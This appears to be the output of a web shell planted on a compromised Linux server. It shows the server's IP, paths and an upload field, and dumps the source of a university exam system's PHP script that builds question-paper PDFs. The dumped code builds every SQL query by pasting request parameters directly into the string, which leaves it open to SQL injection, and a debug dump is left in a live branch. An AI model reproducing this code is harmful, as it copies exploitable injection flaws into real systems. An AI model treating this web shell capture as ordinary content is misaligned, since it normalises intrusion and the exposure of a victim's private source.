0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 13.58.147.19


Current Path : /var/www/html/univadmin/Reports/
Upload File :
Current File : /var/www/html/univadmin/Reports/omrQpReport.php

<?php
    $main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7);
    $pdf_writer_class = $main_src . "tcpdf/tcpdf.php";
    require_once $pdf_writer_class;
    class MYPDF extends TCPDF
    {
        public function Header()
        {
            // get the current page break margin
            $bMargin = $this->getBreakMargin();
            // get current auto-page-break mode
            $auto_page_break = $this->AutoPageBreak;
            // disable auto-page-break
            $this->SetAutoPageBreak(false, 0);
            $this->SetTitle("Head wise Fee Report");
            $type = $this->aobj_context->mobj_data["type"];
            $univcode = $this->aobj_context->mobj_data["univcode"];  
            // set bacground image
            $this->SetFillColor(248, 248, 255);
            $img_path = $this->aobj_context->main_src . "/img/".$univcode."_logo.jpg";

           

            $this->SetFont('Times', 'B', 15);
            if($univcode == '030')
            {
                if (file_exists($img_path)) {
                    $this->Image($img_path, 70, 5, 60, 25);
                }
                $this->SetY(30);
            }else
            {
                $img_path = $this->aobj_context->main_src . "img/".$this->aobj_context->FUNIVCODE."_logo.png";
                // var_dump($img_path);die();
                $pageWidth = $this->getPageWidth();
                $pageHeight = $this->getPageHeight();
                //r$this->Image($img_path, 0, 0, $pageWidth, 22, '', '', '', true, 300, '', false, false, 0, false, false, false);
                $this->SetY(5);
               $this->Cell(0, 5, strtoupper($this->aobj_context->FUNIVNAME), 0, 1, 'C');
            }
            //state
            //$this->Ln(20);
            $this->SetFont('Times', 'B', 11);
            if($type != 'THEORY')
                $this->Cell(0, 5,strtoupper($this->aobj_context->fdegexam.' '.$this->aobj_context->fexamname.' Examination - '.$this->aobj_context->fexamdate), 0, 1, 'C');
            else
                $this->Cell(0, 5,strtoupper($this->aobj_context->fdegexam.' '.$this->aobj_context->fexamname.' Examination  '), 0, 1, 'C');
            
            if($type != 'THEORY')
            {
                $this->Cell(0, 4, strtoupper("TIME: 30 minutes"), 0, 0, 'L');
                $this->Cell(0, 4, strtoupper("MAX.MARKS: 20"), 0, 1, 'R');
            }

            $this->Cell(0, 4, strtoupper('SUB: '.$this->aobj_context->fsubname), 0, 1, 'C');
            $this->Cell(0, 4, strtoupper('QP CODE:'.$this->aobj_context->fqpcode), 0, 1, 'C');
            $this->SetFont('Times', '', 11);
            $this->Ln(1);

            if($type != 'THEORY')
            {
                // $this->Cell(25, 5, 'Instructions:', '0', 0, 'L');
                // $this->Cell(0, 5, '1. Answer MCQ`s in a separate OMR sheet', '0', 1, 'L');

                // $this->Cell(25, 5, '', '0', 0, 'L');
                // $this->Cell(0, 5, '2. Write the same question numbers as they appear in this question paper.', '0', 1, 'L');
                // $this->Cell(25, 5, '', '0', 0, 'L');
                // $this->Cell(0, 5, '3. Mark Legibly.', '0', 1, 'L');
            }

            $this->SetFont('Times', '', 11);
            // $this->Ln(1);
            $this->SetAutoPageBreak($auto_page_break, $bMargin);
            
        }

        public function Footer(){
        }
    }

    class Report{
        public function DefaultConstructor($aobj_context){
            $this->aobj_context = $aobj_context;

            $this->univcode = $aobj_context->mobj_data["univcode"];  
            $this->qpcode = $aobj_context->mobj_data["qpcode"];     
            $this->year = $aobj_context->mobj_data["year"];  
            $this->mode = $aobj_context->mobj_data["mode"];  
            $this->ip = $_SERVER["REMOTE_ADDR"];
            
            $get_date = "select DATE_FORMAT(now(), '%d/%m/%Y') as now_date";
            $obj = $this->aobj_context->mobj_db->GetRow($get_date);
            $this->reportType = $aobj_context->mobj_data["rtype"];

            $get_coll_name = "select FUNIVNAME as 'FUNIVNAME',FUNIVCODE,
            FUNIVADD1 as 'state', pdf_logo_path,
            ifnull(FEXAMAPPREQ,'F') as FEXAMAPPREQ From control";
            $lobj_get_coll_name = $this->aobj_context->pobj_db->GetRow($get_coll_name);
            
            $aobj_context->FUNIVNAME = $lobj_get_coll_name['FUNIVNAME'];
            $aobj_context->s_state = $lobj_get_coll_name['state'];
            $aobj_context->pdf_logo_path = $lobj_get_coll_name['pdf_logo_path'];
            $aobj_context->FUNIVCODE = $lobj_get_coll_name['FUNIVCODE'];

            $query = "select su.fsubname,d.fexamname,d.fdescpn,
            d.fexamdate,fqpcode
            from subject su 
            inner join degree d on su.fdegree = d.fdegree and su.fexamno = d.fexamno
            inner join qpset_deggrp dg on dg.fdeggrp = d.fdeggrp
            where fqpcode = '{$this->qpcode}'";

            $res = $this->aobj_context->pobj_db->GetRow($query);

            $aobj_context->fsubname = $res['fsubname'];
            $aobj_context->fdegexam = $res['fdescpn'];
            $aobj_context->fqpcode = $res['fqpcode'];
            $aobj_context->fexamname = $res['fexamname'];
            $aobj_context->fexamdate = $res['fexamdate'];

            $this->pdf = new MYPDF('P');
            $this->pdf->aobj_context = $aobj_context;
            
        }

        public function writeReport($result,$verion){
            $pdf = $this->pdf;
            $pdf->SetMargins(10, 35);
            $pdf->startPageGroup();
            $pdf->AddPage("P");
            $sl_no = 1;
            $pdf->SetFont('Times', '', 10);
            // $this->TblHeader($pdf,$head);

            $width = 42;
            $height = 4;

            $qp = "Which homonym describes a young person who assists a magician during a performance?";
            
            $y = $pdf->GetY();
            $url = "https://omr-files.s3.ap-south-1.amazonaws.com/";
            $i = 1;
            
            $pdf->SetFont('Times', 'B', 10);
            $pdf->Cell(0, 5, "$verion", "0", 1, "C");
            $pdf->SetFont('Times', '', 10);

            $table1 = '<style>
                    
                    .lable {
                        font-weight: bold;
                    }
                   
                </style>
                <table cellspacing="0" cellpadding = "2" >';

                
            foreach($result as $val){
                $qnno = $val['fqpno'];
                $qn = str_replace("</p>","",str_replace("<p>","",$val['fquestion']));
                
                $fkeyans = $val['fkeyans'];
                $fquestion = $val['fquestion'];
                $opta = $val['fopta'];
                $optb = $val['foptb'];
                $optc = $val['foptc'];
                $optd = $val['foptd'];

                $pdf->SetFont('Times', '', 10);


            $table1 .='<tr nobr="true" >
                    <td width="450" height="20px" style = "text-align:left;margin-left: 10px;" >'.$i.' '.$fquestion.' </td>
                    </tr>';

                $table1 .='<tr nobr="true">
                <td width="20" height="20px" style = "text-align:center;line-height:1;" >A)</td>
                <td width="205" height="20px" style = "text-align:left;margin-left: 10px;line-height:1;" >'.$opta.' </td>
                <td width="20" height="20px" style = "text-align:center;line-height:1;" >B)</td>
                <td width="205" height="20px" style = "text-align:left;margin-left: 10px;line-height:1;" >'.$optb.' </td>
                </tr>';
                $table1 .='<tr nobr="true">
                <td width="20" height="20px" style = "text-align:center;" >C)</td>
                <td width="205" height="20px" style = "text-align:left;margin-left: 10px;line-height:1;" >'.$optc.'</td>
                <td width="20" height="20px" style = "text-align:center;" >D)</td>
                <td width="205" height="20px" style = "text-align:left;margin-left: 10px;line-height:1;" >'.$optd.'</td> 
                </tr>';


                

            //     $heightarry = [];
            //     $pdf->Cell(5, $height, $i.". ", "0", 0, "L");
            //    // $pdf->writeHTML($qn, true, true, false, false, 'L');
            //     $pdf->MultiCell(150, $height, $qn, 0, "L");

            //     $pdf->Cell(8, $height, "", "0", 1, "L");
                
            //     if($fkeyans == 'A')
            //         $pdf->SetFont('Times', 'BU', 10);
            //     else
            //         $pdf->SetFont('Times', '', 10);

            //     $pdf->Cell(5, $height, "", "0", 0, "L");
            //     $ax=$pdf->GetX();
            //     $ay=$pdf->GetY();

            //     $pdf->Cell(6, $height, "  A. ", "0", 0, "L");
            //     $pdf->MultiCell($width, $height, $opta, 0, 'L', FALSE);
            //     $y = $pdf->GetY();
            //     array_push($heightarry,$y);
            //     $pdf->SetXY($ax + $width, $ay);
            //     // $pdf->MultiCell($width, $height, $pdf->Image($url.$val['foptafile'], 5, $pdf->GetY(), 33.78), 0, 'L', FALSE);
                
            //     if($fkeyans == 'B')
            //         $pdf->SetFont('Times', 'BU', 10);
            //     else
            //         $pdf->SetFont('Times', '', 10);

            //     $pdf->Cell(6, $height, "  B. ", "0", 0, "L");
            //     $pdf->MultiCell($width, $height, $optb, 0, "L", FALSE);
            //     $y = $pdf->GetY();
            //     array_push($heightarry,$y);
            //     $pdf->SetXY($ax + (2*$width), $ay);

            //     if($fkeyans == 'C')
            //         $pdf->SetFont('Times', 'BU', 10);
            //     else
            //         $pdf->SetFont('Times', '', 10);

               
            //     $pdf->Cell(6, $height, "  C. ", "0", 0, "L");
            //     $pdf->MultiCell($width, $height, $optc, 0, "L", FALSE);
               
            //     $y = $pdf->GetY();
            //     array_push($heightarry,$y);
            //     $pdf->SetXY($ax + (3*$width), $ay);

            //     if($fkeyans == 'D')
            //         $pdf->SetFont('Times', 'BU', 10);
            //     else
            //         $pdf->SetFont('Times', '', 10);

            //     $pdf->Cell(6, $height, "  D. ", "0", 0, "L");
            //     $pdf->MultiCell($width, $height, $optd, 0, "L", FALSE);
                
            //     $y = $pdf->GetY();
            //     array_push($heightarry,$y);
            //     $pdf->SetY(max($heightarry) + 1);
            //     $pdf->Cell(8, $height, "", "0", 1, "L");
                $i++;
            }
            $table1 .= '</table>';
                
                $pdf->SetX(8);
                $pdf->writeHTML($table1, true, true, false, false, 'L');
        }

        public function writeReportTheory($aobj_context,$result,$verion){
            
            $univcode = $aobj_context->mobj_data["univcode"];  
            $qpcode = $aobj_context->mobj_data["qpcode"];     
            $year = $aobj_context->mobj_data["year"];  
            $mode = $aobj_context->mobj_data["mode"];
            $teachcode = $aobj_context->mobj_data["teachcode"];
            $set = $aobj_context->mobj_data["noqp"];
            $verion = $aobj_context->mobj_data["verion"];
            $type = $aobj_context->mobj_data["type"];

            $pdf = $this->pdf;
            $pdf->SetMargins(10, 40.5);
            $pdf->startPageGroup();
            $pdf->AddPage("P");
            $sl_no = 1;
            $pdf->SetFont('Times', '', 10);

            $width = 41;
            $height = 4;
           
            $query = "select q.ftempcode,th.fpartcode,th.fpartdesc,
            th.fmaxqn,th.fmandqn,th.fmaxmarks
            from qpseterdet q inner join tdvs_qptemphead th on q.ftempcode = th.ftempcode
            where q.fqpcode='{$qpcode}' 
            and q.fyear='{$year}' 
            and q.fexamtype='{$mode}' 
            and q.fteachcode='{$teachcode}' 
            and q.fset='{$set}'";
            $res = $aobj_context->pobj_db->GetAll($query);
            
            $table1 = "";

            foreach($res as $value)
            {
                $fpartdesc = $value['fpartdesc'];
                $fpartcode = $value['fpartcode'];
                $fmandqn = $value['fmandqn'];
                $fmaxqn = $value['fmaxqn'];
                $fmaxmarks = $value['fmaxmarks'];

                $table1 = "";
                $table1 = '<style>
                    td {
                        border: 0.5px solid black;
                        
                    }
                    .lable {
                        font-weight: bold;
                    }
                   
                </style>
                <table cellspacing="0" cellpadding = "2" >';
                
                $str = "";
                
                if($fmaxqn == $fmandqn)
                    $str = $fpartdesc.": Answer Following Questions. ".$fmaxmarks."M";     
                else    
                    $str = $fpartdesc.": Answer Any ".$fmandqn." Following Questions. ".$fmaxmarks."M";     

                $table1 .='<tr nobr="true">
				<td width="550" height="20px" style = "text-align:center;"  colspan="5" class="lable">'.$str.' </td>
                </tr>';
                $table1 .='<tr nobr="true">
				<td width="40" height="20px" style = "text-align:center;"  colspan="5" class="lable">Qn.No.</td>
                <td width="450" height="20px" style = "text-align:center;"  colspan="5" class="lable">Questions</td>
                <td width="20" height="20px" style = "text-align:center;"  colspan="5" class="lable">M</td>
                <td width="20" height="20px" style = "text-align:center;"  colspan="5" class="lable">CO</td>
                <td width="20" height="20px" style = "text-align:center;"  colspan="5" class="lable">PO</td>
                </tr>';

                $query =  "select cast(m.fqpno as signed) as fqpno,
                td.fqnno,
                ifnull(m.fmodquestion, '') as fquestion, 
                m.fmaxmarks,
                ifnull(m.fco,'') as fco,
                ifnull(m.fpo,'') as fpo,
                ifnull(m.fblooms,'') as fblooms,
                ifnull(m.fmodopta, '')as fopta, 
                ifnull(m.fmodoptb, '')as foptb, 
                ifnull(m.fmodoptc, '')as foptc, 
                ifnull(m.fmodoptd, '')as foptd,
                ifnull(m.fmodoptafile, '')as foptafile, 
                ifnull(m.fmodoptbfile, '')as foptbfile, 
                ifnull(m.fmodoptcfile, '')as foptcfile, 
                ifnull(m.fmodoptdfile, '')as foptdfile,
                ifnull(m.fmodqnfile,'') as fqnfile,
                '' as fkeyans 
                from mcqqpdet m inner join qpseterdet q on m.fteachcode = q.fteachcode
                and m.fyear = q.fyear and m.fexamtype = q.fexamtype
                and q.fset = m.fnoqp and m.fqpcode = q.fqpcode
                inner join tdvs_qptemphead th on q.ftempcode = th.ftempcode
                inner join tdvs_qptempdetl td on th.ftempcode = td.ftempcode
                and td.fpartcode = th.fpartcode
                and m.fqncode = td.fqncode
                where m.fqpcode='{$qpcode}' and m.fyear='{$year}' 
                and m.fexamtype='{$mode}' and m.fteachcode='{$teachcode}' 
                and th.fpartcode = '{$fpartcode}'
                and m.fnoqp='{$set}' 
                order by cast(m.fqna as UNSIGNED)";
                $res1 = $aobj_context->pobj_db->GetAll($query);

                foreach($res1 as $val1)
                {
                    $fqnno     = $val1['fqnno'];
                    $fquestion = $val1['fquestion'];
                    $fmaxmarks = $val1['fmaxmarks'];
                    $fco = $val1['fco'];
                    $fpo = $val1['fpo'];
                    $fblooms = $val1['fblooms'];
                    $fopta = $val1['fopta'];
                    $foptb = $val1['foptb'];
                    $foptc = $val1['foptc'];
                    $foptd = $val1['foptd'];
                    $fqnfile = $val1['fqnfile'];
                    $qusimgpath = "https://omr-files.s3.ap-south-1.amazonaws.com/".$fqnfile;
                    $foptafile = $val1['foptafile'];
                    $foptbfile = $val1['foptbfile'];
                    $foptcfile = $val1['foptcfile'];
                    $foptdfile = $val1['foptdfile'];
                    $foptaimgpath = "https://omr-files.s3.ap-south-1.amazonaws.com/".$foptafile;
                    $foptbimgpath = "https://omr-files.s3.ap-south-1.amazonaws.com/".$foptbfile;
                    $foptcimgpath = "https://omr-files.s3.ap-south-1.amazonaws.com/".$foptcfile;
                    $foptdimgpath = "https://omr-files.s3.ap-south-1.amazonaws.com/".$foptdfile;

                    $imageSize = getimagesize($qusimgpath);
                    $width = $imageSize[0];
                    $imageheight = $imageSize[1];
                    $setWidth = ($width >= 440) ? "440px" : $width . 'px';
                    $height = ($imageheight >= 420) ? "420px" : $imageheight . 'px';

                    $foptaSize = getimagesize($foptaimgpath);
                    $imageawidth = $foptaSize[0];
                    $imageaheight = $foptaSize[1];
                    $setaWidth = ($imageawidth >= 200) ? "200px" : $imageawidth . 'px';
                    $setaheight = ($imageaheight >= 220) ? "220px" : $imageaheight . 'px';

                    $foptbSize = getimagesize($foptbimgpath);
                    $imagebwidth = $foptbSize[0];
                    $imagebheight = $foptbSize[1];
                    $setbWidth = ($imagebwidth >= 200) ? "200px" : $imagebwidth . 'px';
                    $setbheight = ($imagebheight >= 220) ? "220px" : $imagebheight . 'px';

                    $foptcSize = getimagesize($foptcimgpath);
                    $imagecwidth = $foptcSize[0];
                    $imagecheight = $foptcSize[1];
                    $setcWidth = ($imagecwidth >= 200) ? "200px" : $imagecwidth . 'px';
                    $setcheight = ($imagecheight >= 220) ? "220px" : $imagecheight . 'px';

                    $foptdSize = getimagesize($foptdimgpath);
                    $imagedwidth = $foptdSize[0];
                    $imagedheight = $foptdSize[1];
                    $setdWidth = ($imagedwidth >= 200) ? "240px" : $imagedwidth . 'px';
                    $setdheight = ($imagedheight >= 220) ? "220px" : $imagedheight . 'px';

                    $rowspan = ($fopta != "" && $foptb != "" && $foptc != "" && $foptd != "") ? 3 : 1;
                    if($fqnfile != ""){
                        $cond = ($fquestion != "") ? $fquestion . "<br/>" : "";
                        $table1 .='<tr nobr="true" >
                        <td width="40" style = "text-align:center;" height='.$height.' rowspan="'.$rowspan.'">'.$fqnno.'</td>
                        <td width="450px" height='.$height.' style = "text-align:left;margin-left: 10px;">'.$cond.'<img width='.$setWidth.' height='.$height.' src="'.$qusimgpath.'" /></td>
                        <td width="20" height='.$height.' style = "text-align:center;" rowspan="'.$rowspan.'">'.$fmaxmarks.' </td>
                        <td width="20" height='.$height.' style = "text-align:center;" rowspan="'.$rowspan.'">'.$fco.' </td>
                        <td width="20" height='.$height.' style = "text-align:center;" rowspan="'.$rowspan.'">'.$fpo.' </td>
                        </tr>';
                    }else{
                        $table1 .='<tr nobr="true" >
                        <td width="40" height="20px" style = "text-align:center;" rowspan="'.$rowspan.'" >'.$fqnno.' </td>
                        <td width="450" height="20px" style = "text-align:left;margin-left: 10px;" >'.$fquestion.' </td>
                        <td width="20" height="20px" style = "text-align:center;" rowspan="'.$rowspan.'">'.$fmaxmarks.' </td>
                        <td width="20" height="20px" style = "text-align:center;" rowspan="'.$rowspan.'">'.$fco.' </td>
                        <td width="20" height="20px" style = "text-align:center;" rowspan="'.$rowspan.'">'.$fpo.' </td>
                        </tr>';
                    }
                    if($foptafile != "" && $foptbfile != "" && $foptcfile != "" && $foptdfile != ""){
                        $conda = ($fopta != "") ? $fopta."<br/>": "";
                        $condb = ($foptb != "") ? $foptb."<br/>": "";
                        $condc = ($foptc != "") ? $foptc."<br/>": "";
                        $condd = ($foptd != "") ? $foptd."<br/>": "";
                        $table1 .='<tr nobr="true">
                        <td width="20" height="220px" style = "text-align:center;" >A)</td>
                        <td width="205" height="220px" style = "text-align:left;margin-left: 10px;" >'.$conda.'<img width='.$setaWidth.' height='.$setdheight.' src="'.$foptaimgpath.'" /></td>
                        <td width="20" height="220px" style = "text-align:center;" >B)</td>
                        <td width="205" height="220px" style = "text-align:left;margin-left: 10px;" >'.$condb.'<img width='.$setbWidth.' height='.$setdheight.' src="'.$foptbimgpath.'" /></td>
                        </tr>';
                        $table1 .='<tr nobr="true">
                        <td width="20" height="220px" style = "text-align:center;" >C)</td>
                        <td width="205" height="220px" style = "text-align:left;margin-left: 10px;" >'.$condc.'<img width='.$setcWidth.' height='.$setdheight.' src="'.$foptcimgpath.'" /></td>
                        <td width="20" height="220px" style = "text-align:center;" >D)</td>
                        <td width="205" height="220px" style = "text-align:left;margin-left: 10px;" >'.$condd.'<img width='.$setdWidth.' height='.$setdheight.' src="'.$foptdimgpath.'" /></td>
                        </tr>';
                    }else if($fopta != "" && $foptb != "" && $foptc != "" && $foptd != ""){
                        $table1 .='<tr nobr="true">
                        <td width="20" height="20px" style = "text-align:center;line-height:1;" >A)</td>
                        <td width="205" height="20px" style = "text-align:left;margin-left: 10px;line-height:1;" >'.$fopta.' </td>
                        <td width="20" height="20px" style = "text-align:center;line-height:1;" >B)</td>
                        <td width="205" height="20px" style = "text-align:left;margin-left: 10px;line-height:1;" >'.$foptb.' </td>
                        </tr>';
                        $table1 .='<tr nobr="true">
                        <td width="20" height="20px" style = "text-align:center;" >C)</td>
                        <td width="205" height="20px" style = "text-align:left;margin-left: 10px;line-height:1;" >'.$foptc.'</td>
                        <td width="20" height="20px" style = "text-align:center;" >D)</td>
                        <td width="205" height="20px" style = "text-align:left;margin-left: 10px;line-height:1;" >'.$foptd.'</td> 
                        </tr>';
                    }
                }
               
                
                $table1 .= '</table>';
                
                $pdf->SetX(8);
                $pdf->writeHTML($table1, true, true, false, false, 'L');

            }
            
            $y = $pdf->GetY();
            $url = "https://omr-files.s3.ap-south-1.amazonaws.com/";
            $i = 1;
          
            $pdf->SetFont('Times', '', 10);
        }

        public function SendOutput(){
            $this->pdf->Output("OMR_QP.pdf", "I");
        }
    }

    function getOmrQpReport($aobj_context){
        $univcode = $aobj_context->mobj_data["univcode"];  
        $qpcode = $aobj_context->mobj_data["qpcode"];     
        $year = $aobj_context->mobj_data["year"];  
        $mode = $aobj_context->mobj_data["mode"];
        $teachcode = $aobj_context->mobj_data["teachcode"];
        $set = $aobj_context->mobj_data["noqp"];
        $verion = $aobj_context->mobj_data["verion"];
        $type = $aobj_context->mobj_data["type"];
        
        $class_obj = new Report();
        $class_obj->univcode=$univcode;
        $class_obj->DefaultConstructor($aobj_context);
        // var_dump("A");
        //     die();
        if($type == 'THEORY')
        {
            $query = "select cast(fqpno as signed)as fqpno, 
            ifnull(fmodquestion, '') as fquestion, 
            ifnull(fmodopta, '')as fopta, 
            ifnull(fmodoptb, '')as foptb, 
            ifnull(fmodoptc, '')as foptc, 
            ifnull(fmodoptd, '')as foptd,
            ifnull(fmodoptafile, '')as foptafile, 
            ifnull(fmodoptbfile, '')as foptbfile, 
            ifnull(fmodoptcfile, '')as foptcfile, 
            ifnull(fmodoptdfile, '')as foptdfile,
            ifnull(fmodqnfile,'') as fqnfile,
            '' as fkeyans 
            from mcqqpdet where fqpcode='{$qpcode}' and fyear='{$year}' 
            and fexamtype='{$mode}' and fteachcode='{$teachcode}' 
            and fnoqp='{$set}' 
            order by cast(fqna as UNSIGNED)";
            
            $result = $aobj_context->pobj_db->GetAll($query);
          
            $class_obj->writeReportTheory($aobj_context,$result,'VERSION A');

        }else
        {
            
            if($verion == 'All')
            {
                    
                    $query = "select cast(fqpno as signed)as fqpno, 
                    ifnull(fmodquestion, '') as fquestion, 
                    ifnull(fmodopta, '')as fopta, 
                    ifnull(fmodoptb, '')as foptb, 
                    ifnull(fmodoptc, '')as foptc, 
                    ifnull(fmodoptd, '')as foptd,
                    ifnull(fmodoptafile, '')as foptafile, 
                    ifnull(fmodoptbfile, '')as foptbfile, 
                    ifnull(fmodoptcfile, '')as foptcfile, 
                    ifnull(fmodoptdfile, '')as foptdfile,
                    ifnull(fmodqnfile,'') as fqnfile,
                    '' as fkeyans 
                    from mcqqpdet where fqpcode='{$qpcode}' and fyear='{$year}' 
                    and fexamtype='{$mode}' and fteachcode='{$teachcode}' 
                    and fnoqp='{$set}' order by cast(fqna as UNSIGNED)";
                    var_dump($query);
                    die();
                    $result = $aobj_context->pobj_db->GetAll($query);
    
                    $class_obj->writeReport($result,'VERSION A');
    
                    $query = "select fqpno as fqpno, 
                    ifnull(fmodquestion, '') as fquestion, 
                    ifnull(fmodopta, '')as fopta, 
                    ifnull(fmodoptb, '')as foptb, 
                    ifnull(fmodoptc, '')as foptc, 
                    ifnull(fmodoptd, '')as foptd,
                    ifnull(fmodoptafile, '')as foptafile, 
                    ifnull(fmodoptbfile, '')as foptbfile, 
                    ifnull(fmodoptcfile, '')as foptcfile, 
                    ifnull(fmodoptdfile, '')as foptdfile,
                    ifnull(fmodqnfile,'') as fqnfile,
                    '' as fkeyans 
                    from mcqqpdet where fqpcode='{$qpcode}' and fyear='{$year}' 
                    and fexamtype='{$mode}' and fteachcode='{$teachcode}' 
                    and fnoqp='{$set}' order by cast(fqnb as UNSIGNED)";
                    
                    $result1 = $aobj_context->pobj_db->GetAll($query);
    
                    $class_obj->writeReport($result1,'VERSION B');
    
                    $query = "select cast(fqpno as signed)as fqpno, 
                    ifnull(fmodquestion, '') as fquestion, 
                    ifnull(fmodopta, '')as fopta, 
                    ifnull(fmodoptb, '')as foptb, 
                    ifnull(fmodoptc, '')as foptc, 
                    ifnull(fmodoptd, '')as foptd,
                    ifnull(fmodoptafile, '')as foptafile, 
                    ifnull(fmodoptbfile, '')as foptbfile, 
                    ifnull(fmodoptcfile, '')as foptcfile, 
                    ifnull(fmodoptdfile, '')as foptdfile,
                    ifnull(fmodqnfile,'') as fqnfile,
                    '' as fkeyans 
                    from mcqqpdet where fqpcode='{$qpcode}' and fyear='{$year}' 
                    and fexamtype='{$mode}' and fteachcode='{$teachcode}' 
                    and fnoqp='{$set}' order by cast(fqnc as UNSIGNED)";
    
                    $result2 = $aobj_context->pobj_db->GetAll($query);
    
                    $class_obj->writeReport($result2,'VERSION C');
    
                    $query = "select cast(fqpno as signed)as fqpno, 
                    ifnull(fmodquestion, '') as fquestion, 
                    ifnull(fmodopta, '')as fopta, 
                    ifnull(fmodoptb, '')as foptb, 
                    ifnull(fmodoptc, '')as foptc, 
                    ifnull(fmodoptd, '')as foptd,
                    ifnull(fmodoptafile, '')as foptafile, 
                    ifnull(fmodoptbfile, '')as foptbfile, 
                    ifnull(fmodoptcfile, '')as foptcfile, 
                    ifnull(fmodoptdfile, '')as foptdfile,
                    ifnull(fmodqnfile,'') as fqnfile,
                    '' as fkeyans 
                    from mcqqpdet where fqpcode='{$qpcode}' and fyear='{$year}' 
                    and fexamtype='{$mode}' and fteachcode='{$teachcode}' 
                    and fnoqp='{$set}' order by cast(fqnd as UNSIGNED)";
    
                    $result3 = $aobj_context->pobj_db->GetAll($query);
    
                    $class_obj->writeReport($result3,'VERSION D');
    
            }else
            {
                $query = "select cast(fqpno as signed)as fqpno, 
                ifnull(fmodquestion, '') as fquestion, 
                ifnull(fmodopta, '')as fopta, 
                ifnull(fmodoptb, '')as foptb, 
                ifnull(fmodoptc, '')as foptc, 
                ifnull(fmodoptd, '')as foptd,
                ifnull(fmodoptafile, '')as foptafile, 
                ifnull(fmodoptbfile, '')as foptbfile, 
                ifnull(fmodoptcfile, '')as foptcfile, 
                ifnull(fmodoptdfile, '')as foptdfile,
                ifnull(fmodqnfile,'') as fqnfile,
                fmodkeyans as fkeyans 
                from mcqqpdet where fqpcode='{$qpcode}' and fyear='{$year}' 
                and fexamtype='{$mode}' and fteachcode='{$teachcode}' 
                and fnoqp='{$set}' order by fqpno";
                
                $result = $aobj_context->pobj_db->GetAll($query);
    
                $class_obj->writeReport($result,'VERSION A');
    
            }
        }

        $class_obj->SendOutput();
    }

?>